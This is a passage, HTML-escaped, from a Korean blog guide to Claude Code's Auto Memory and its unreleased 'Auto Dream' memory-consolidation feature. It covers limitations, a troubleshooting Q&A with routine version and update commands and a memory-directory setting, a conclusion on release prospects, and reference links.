&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Auto Dream이 활성화된 경우&lt;/b&gt;: 정리 후 반드시 &lt;code&gt;/memory&lt;/code&gt;로 결과 검토. 정리 전 &lt;code&gt;memory/&lt;/code&gt; 백업 권장.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Auto Dream이 비활성화된 경우&lt;/b&gt;: 섹션 5의 수동 정리 방법으로 동일한 효과를 얻을 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;민감 프로젝트&lt;/b&gt;: &lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt;로 메모리 자체를 끄는 것을 고려.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Dream 미출시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;UI에 보이지만 활성화 불가. 출시 일정 미정.&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;섹션 5의 수동 정리 방법 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;200줄 한도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MEMORY.md의 첫 200줄(또는 25KB)만 세션에 로딩&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;인덱스만 유지, 상세 내용은 토픽 파일로 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;잘못된 기억&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude가 잘못된 패턴을 학습할 수 있다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;로 주기적 검토. CLAUDE.md 규칙이 우선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;로컬 전용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory는 로컬 디스크에만 저장. 다른 머신과 공유 불가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;autoMemoryDirectory&lt;/code&gt;로 클라우드 스토리지 경로 지정 (사용자 설정만)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프라이버시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory는 로컬 저장이지만, 세션 중 API로 전송됨&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;민감 정보 저장 주의. 메모리만 끄려면 &lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt; 또는 &lt;code&gt;autoMemoryEnabled: false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;커뮤니티 정보 혼동&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Memory 2.0&quot;, &quot;Auto Dream 사용법&quot; 등 미출시 기능을 출시된 것처럼 다루는 콘텐츠가 많다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;공식 문서와 체인지로그 직접 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. /memory에서 Auto-dream 토글이 안 보인다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Claude Code 버전이 오래되었거나, 서버 사이드 feature flag가 비활성화된 상태일 수 있다. 최신 버전으로 업데이트해도 토글이 보이지 않을 수 있다 &amp;mdash; Auto Dream은 공식 문서에 없는 서버 게이트 기능이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 버전 확인
claude --version

# 최신 버전으로 업데이트
claude update
# legacy npm 설치인 경우
# npm update -g @anthropic-ai/claude-code&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Auto-dream을 켤 수 없다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;점진적 롤아웃이 진행 중인 것으로 보인다.&lt;/b&gt; Auto Dream은 서버 사이드 feature flag로 제어된다. 일부 사용자에게는 활성화되어 있고(&quot;Auto-dream: on &amp;middot; last ran 1d ago&quot;), 다른 사용자에게는 잠겨 있다. &lt;code&gt;settings.json&lt;/code&gt;에 &lt;code&gt;&quot;autoDreamEnabled&quot;: true&lt;/code&gt;를 추가해볼 수 있지만, 이 키는 공식 설정 문서에 기재되어 있지 않으며(2026-03-31 기준, v2.1.88), 서버 플래그가 꺼져 있으면 효과가 없다. 활성화되기를 기다리면서, 섹션 5의 수동 정리 방법을 사용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. /dream을 실행하면 &quot;unknown skill&quot;이 나온다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정상이다.&lt;/b&gt; &lt;code&gt;/dream&lt;/code&gt; 수동 명령어는 Auto Dream 자동 실행이 이미 켜진 사용자조차 &quot;unknown skill&quot;을 반환한다 (v2.1.88까지 미구현, GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;). 자동 실행과 수동 명령어는 별개로 구현 중이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대안 3가지:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;자연어 요청&lt;/b&gt;: &quot;메모리 파일들을 확인해서 모순되는 항목을 정리해줘. 상대 날짜는 절대 날짜로 바꾸고, 중복은 합쳐줘.&quot; (수동 실행, Auto Dream 기능은 아님)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;비공식 플러그인&lt;/b&gt;: &lt;a href=&quot;https://github.com/jl-cmd/claude-dream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jl-cmd/claude-dream&lt;/a&gt; &amp;mdash; &lt;code&gt;/plugin marketplace add jl-cmd/claude-dream&lt;/code&gt;으로 설치. 커뮤니티 제작, 공식 지원 아님. [UNVERIFIED]&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;자동 실행 대기&lt;/b&gt;: Auto Dream이 활성화되면 조건 충족 시 백그라운드에서 자동으로 실행됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4. Claude가 이전 세션의 내용을 기억하지 못한다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인사항:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;claude --version&lt;/code&gt;이 v2.1.59 이상인지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 Auto-memory가 &quot;on&quot;인지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;~/.claude/projects/*/memory/MEMORY.md&lt;/code&gt; 파일이 존재하는지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt; 환경변수가 설정되어 있지 않은지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5. 메모리가 쌓여서 모순이 생겼다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Auto Dream이 해결하려는 정확히 이 문제다.&lt;/b&gt; 출시 전까지는 섹션 5의 수동 정리 방법을 사용한다. Claude에게 &quot;메모리를 확인해서 모순되는 항목을 정리해줘&quot;라고 요청하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q6. &quot;run your autodream&quot;이라고 했더니 Claude가 뭔가 했다. 이게 Auto Dream인가?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아니다.&lt;/b&gt; Claude가 메모리 파일을 읽고 수정한 것이다. 이것은 Auto Dream 기능이 아니라, Claude의 일반적인 파일 편집 능력이다. Auto Dream은 세션 사이에 자동으로 실행되는 서브에이전트인데, 현재는 활성화되어 있지 않다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q7. 메모리에 잘못된 정보가 저장되어 있다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code&gt;/memory&lt;/code&gt;로 열어서 직접 수정하거나 삭제한다. 또는 CLAUDE.md에 &quot;이 규칙을 따라라&quot;고 명시하면, 잘못된 Auto Memory보다 CLAUDE.md가 우선한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q8. 긴 세션에서 Claude가 초반 지시를 잊어버린다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Context Compaction이 발동하면서 초반 대화가 요약됨 (섹션 3 참조).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;중요 지시는 CLAUDE.md에 기록 (압축 후 재로딩됨)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;/compact focus on [핵심 주제]&lt;/code&gt;로 보존할 내용 지정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;/context&lt;/code&gt;로 현재 컨텍스트 사용량 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q9. 팀원과 Auto Memory를 공유하고 싶다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재:&lt;/b&gt; Auto Memory는 &lt;code&gt;~/.claude/&lt;/code&gt; 아래에 로컬로 저장되므로 직접 공유되지 않는다. 같은 git 리포를 클론하면 같은 프로젝트 경로를 가지지만, 메모리 파일 자체는 각자의 로컬 머신에 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대안:&lt;/b&gt; 팀 전체가 공유해야 하는 규칙은 CLAUDE.md에 작성하여 리포에 커밋한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q10. 다른 머신으로 메모리를 옮기고 싶다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; Auto Memory는 &lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/&lt;/code&gt;에 일반 마크다운 파일로 저장된다. 해당 디렉토리를 복사하면 된다. 또는 &lt;code&gt;autoMemoryDirectory&lt;/code&gt; 설정으로 커스텀 경로(예: Dropbox, iCloud Drive)를 지정하여 머신 간 동기화할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;autoMemoryDirectory&quot;: &quot;~/Library/Mobile Documents/com~apple~CloudDocs/claude-memory&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;다만 &lt;code&gt;autoMemoryDirectory&lt;/code&gt;는 보안상 사용자/로컬 설정에서만 허용되고, 프로젝트 설정(&lt;code&gt;.claude/settings.json&lt;/code&gt;)에서는 사용할 수 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 결론: 언제 쓸 수 있을까&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream은 &quot;있지만 없는&quot; 기능이다. UI에 존재하고, 코드베이스에 구현되어 있고, 일부 사용자에게는 이미 활성화되어 있다. 하지만 대부분의 사용자에게는 아직 잠겨 있으며, &lt;code&gt;/dream&lt;/code&gt; 명령어 핸들러가 연결되지 않은 등 미완성 상태다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;이미 준비된 것&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;이론적 기반&lt;/b&gt;: Sleep-time Compute 논문 (2025년 4월)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;실행 인프라&lt;/b&gt;: Cloud Scheduled Tasks, Desktop Scheduled Tasks 등 기존 스케줄링 기능이 활용될 수 있을 것으로 보인다 (공식 확인되지 않음)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;UI&lt;/b&gt;: &lt;code&gt;/memory&lt;/code&gt; 메뉴에 이미 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Feature flag&lt;/b&gt;: 서버에서 켜기만 하면 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;남은 질문&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비용&lt;/b&gt;: 사용자가 요청하지 않은 서브에이전트 실행 비용을 누가 부담하는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;투명성&lt;/b&gt;: 메모리 내용이 정리 과정에서 API로 전송된다는 사실을 어떻게 고지하는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;기본값&lt;/b&gt;: opt-in(사용자가 켜야 함)인가, opt-out(기본 켜짐)인가?&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;출시 시기 추정&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;기술적으로는 출시 준비가 되어 있다. 남은 것은 비즈니스 결정(비용 모델, 프라이버시 정책, 기본값 설정)이다. 2026년 상반기 내 출시될 가능성이 있지만, 정확한 일정은 Anthropic만 알고 있다. feature flag가 보이지만 출시되지 않는 기능도 존재할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지금 할 수 있는 것&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;시점&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;로 현재 메모리 확인. Claude가 뭘 기억하고 있는지 한번 훑어보기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md에 프로젝트 규칙 정리. Auto Memory와 역할 분담 명확히 하기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;매주&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;섹션 4의 체크리스트로 수동 메모리 정리 (Auto Dream이 할 일을 직접 하기)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Dream 출시 후&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 Auto-dream 토글 확인. 켜져 있으면 수동 정리를 줄여도 된다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서: &lt;a href=&quot;https://code.claude.com/docs/en/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;How Claude remembers your project&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;체인지로그: &lt;a href=&quot;https://code.claude.com/docs/en/changelog&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code Changelog&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;DEV Community: &lt;a href=&quot;https://dev.to/akari_iku/does-claude-code-need-sleep-inside-the-unreleased-auto-dream-feature-2n7m&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Does Claude Code Need Sleep? Inside the Unreleased Auto-dream Feature&lt;/a&gt; (akari_iku, 2026-03-24)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X: &lt;a href=&quot;https://x.com/JeremyNguyenPhD/status/2036279335221645345&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@JeremyNguyenPhD &amp;mdash; &quot;Claude Code's unreleased auto-dream feature&quot;&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38426&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #38426 &amp;mdash; /dream returns &quot;Unknown skill&quot;&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #38461 &amp;mdash; autoDreamEnabled true but /dream broken&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #38493 &amp;mdash; Auto-dream: 3 gaps&lt;/a&gt; (2026-03-25)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #39135 &amp;mdash; v2.1.84에서도 /dream 미작동 재확인&lt;/a&gt; (2026-03-26)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;시스템 프롬프트: &lt;a href=&quot;https://github.com/Piebald-AI/claude-code-system-prompts/blob/main/system-prompts/agent-prompt-dream-memory-consolidation.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Piebald-AI &amp;mdash; Auto Dream 시스템 프롬프트&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X: &lt;a href=&quot;https://x.com/kr0der/status/2036235321780621738&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@kr0der &amp;mdash; 최초 발견 트윗&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X: &lt;a href=&quot;https://x.com/om_patel5/status/2036513690803945625&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@om_patel5 &amp;mdash; 바이럴 스레드 (38K views)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Threads: &lt;a href=&quot;https://www.threads.com/@sakeeb.rahman/post/DWSKjMoESz2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@sakeeb.rahman &amp;mdash; 4단계 프로세스 심층 분석&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;claudefa.st: &lt;a href=&quot;https://claudefa.st/blog/guide/mechanics/auto-dream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code Auto Dream: Memory Consolidation Feature Explained&lt;/a&gt;&lt;/li&gt;
